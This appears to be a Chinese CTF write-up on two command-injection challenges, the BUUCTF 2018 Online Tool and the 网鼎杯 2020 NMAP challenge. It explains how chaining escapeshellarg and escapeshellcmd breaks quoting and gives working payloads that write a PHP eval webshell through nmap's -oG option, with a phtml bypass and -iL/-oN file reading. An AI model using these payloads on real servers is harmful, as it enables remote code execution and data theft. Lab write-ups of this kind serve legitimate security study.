[BUUCTF 2018]Online Tool

给出了源码 审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

发现是经过 escapeshellargescapeshellcmd函数过滤后 进行namp

百度一下escapeshellargescapeshellcmd函数的作用:

escapeshellarg:

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd:

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
粗略的总结一下:

escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的

escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义

这两个函数本意都是防止进行额外的命令执行,但是这两个函数连在一起使用就会出现问题: escapeshellarg()+escapeshellcmd() 之殇

也就是说两个函数连续使用会造成'未被转义,从而触发命令执行

接下来看题目

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);中的$host参数是我们可控的,可以根据上面的漏洞来进行命令执行

我们一步一步地尝试(中间的一些特殊字符的转义会省略,为了着重突出'\)

由于|,&等符号都会被转义,我们可以尝试nmap命令-oG,可以实现将命令和结果写到指定文件中

  • 我们输入payload:?host=<?php eval($_POST["mwkks"]);?> -oG mwkks.php

经过escapeshellarg函数:'<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

这样两边已经被加上了单引号,Linux会把引号中的当为字符串,不会解析变量(双引号中的变量仍会解析),这样我们的shell就无法写入

  • 根据前文提到的漏洞,我们尝试输入payload:?host='<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

经过escapeshellarg函数:''\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\'''

经过escapeshellcmd函数:''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

拼接到system语句中:nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

nmap -T5 -sT -Pn --host-timeout 2 -F \<?php eval($_POST["mwkks"]);?> -oG mwkks.php\\

-oG后的文件会变成mwkks.php\\而不是我们预期的mwkks.php

所以我们传入正确的payload:?host=' <?php eval($_POST["mwkks"]);?> -oG mwkks.php '(区别在于多加了空格 让末尾的\和php后缀分开)

菜刀连一句话 得到flag

shell

[网鼎杯 2020 朱雀组]NMAP

这题一看到题目就想到了和上一题一样的思路 但是经过测试 发现php被过滤了

php改为phtml 成功写入shell,得到flag

看别的师傅的Write Up学到了一个新的姿势 利用nmap语句 来进行文件读取:

访问http://.../mwkks.txt:

-iL-oN命令解释如下:

-iL:

-iL  从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息`

-oN:

-oN <filespec> (标准输出)
要求将标准输出直接写入指定 的文件。

所以payload意思就是将指定文件下的内容输出到-oN后指定的文件

先到这里,以后有新姿势继续补充...

NMAP类型题目 (escapeshellarg,escapeshellcmd使用不当)的更多相关文章

  1. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  2. Sum 类型题目总结

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  3. nSum “已知target再求和”类型题目总结:n-2重循环+left/right

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  4. leetcode 链表类型题目解题总结

    最基础的方式要做到非常熟练,要熟练到不思考就能写,但又需明白各处的要求和陷阱 合并两个有序链表的操作,在前面加上一个初始节点,注意while循环和退出时的处理,理解如何处理其中一个链表遍历完的情况 L ...

  5. leetcode math类型题目解题总结

    2. Add Two Numbers https://leetcode.com/problems/add-two-numbers/description/ class Solution { publi ...

  6. substring类型题目的解题模板

    https://discuss.leetcode.com/topic/30941/here-is-a-10-line-template-that-can-solve-most-substring-pr ...

  7. 编辑距离Edit Distance 非常典型的DP类型题目

    https://leetcode.com/problems/edit-distance/?tab=Description 真的非常好,也非常典型. https://discuss.leetcode.c ...

  8. 软工+C(2017第1期) 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

  9. 软工+C(1): 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

随机推荐

  1. 关于Junit4 和 Junit5.4

    1.    Junit5.4 主要是用于Maven框架 , 对普通类的测试是不可以的. 如这个, junit4可以, junit5.4不可以. 2. Junit不可以使用 static 静态方法. 关 ...

  2. 测试必须学spring RESTful Service(上)

    文末我会说说为什么测试必须学spring. REST REST,是指REpresentational State Transfer,有个精辟的解释什么是RESTful, 看url就知道要什么 看met ...

  3. 详细分析链表的数据结构的实现过程(Java 实现)

    目录 链表的数据结构的实现过程(Java 实现) 前言 基本概念 链表的基本结构 链表的基本操作的实现 在链表中添加元素 在链表头添加元素 在链表指定位置处添加元素 链表的虚拟头节点 链表的查询和修改 ...

  4. e3mall商城的归纳总结9之activemq整合spring、redis的缓存

    敬给读者 本节主要给大家说一下activemq整合spring,该如何进行配置,上一节我们说了activemq的搭建和测试(单独测试),想看的可以点击时空隧道前去查看.讲完了之后我们还说一说在项目中使 ...

  5. 总结java中文件拷贝剪切的5种方式-JAVA IO基础总结第五篇

    本文是Java IO总结系列篇的第5篇,前篇的访问地址如下: 总结java中创建并写文件的5种方式-JAVA IO基础总结第一篇 总结java从文件中读取数据的6种方法-JAVA IO基础总结第二篇 ...

  6. 读Twinsen的深入探索透视投影变换

    2017.10.16更新,分割线下面是以前的文字,有表达的意思,却言不达意,实属羞耻,看官只需看前面文字即可. Twinsen大神的<深入探索透视投影变换>有几个点说得不够清晰,我这里提一 ...

  7. nginx如何限制并发连接请求数?

    简介 限制并发连接数的模块为:http_limit_conn_module,地址:http://nginx.org/en/docs/http/ngx_http_limit_conn_module.ht ...

  8. 在微信公众号"码海"里学了一招:在update语句里使用case when 以避免多次更新导致的数据异常.

    需求:将emp表中工资大于一万的降到9成,工资少于一万的乘以1.2. 难点:如果分成两句update执行,在10000附近的值可能会执行两次. 钥匙:在update语句里采用case when,使更新 ...

  9. ICARUS主题美化

    Icarus用户指南 - 主题美化 Icarus的主题样式编码文件为themes/icarus/layout/layout.jsx. 此文件定义了站点全局的样式设置.本文详细介绍了本主题针对文章分类的 ...

  10. go http请求流程分析

    前言 golang作为常驻进程, 请求第三方服务或者资源(http, mysql, redis等)完毕后, 需要手动关闭连接, 否则连接会一直存在; 连接池是用来管理连接的, 请求之前从连接池里获取连 ...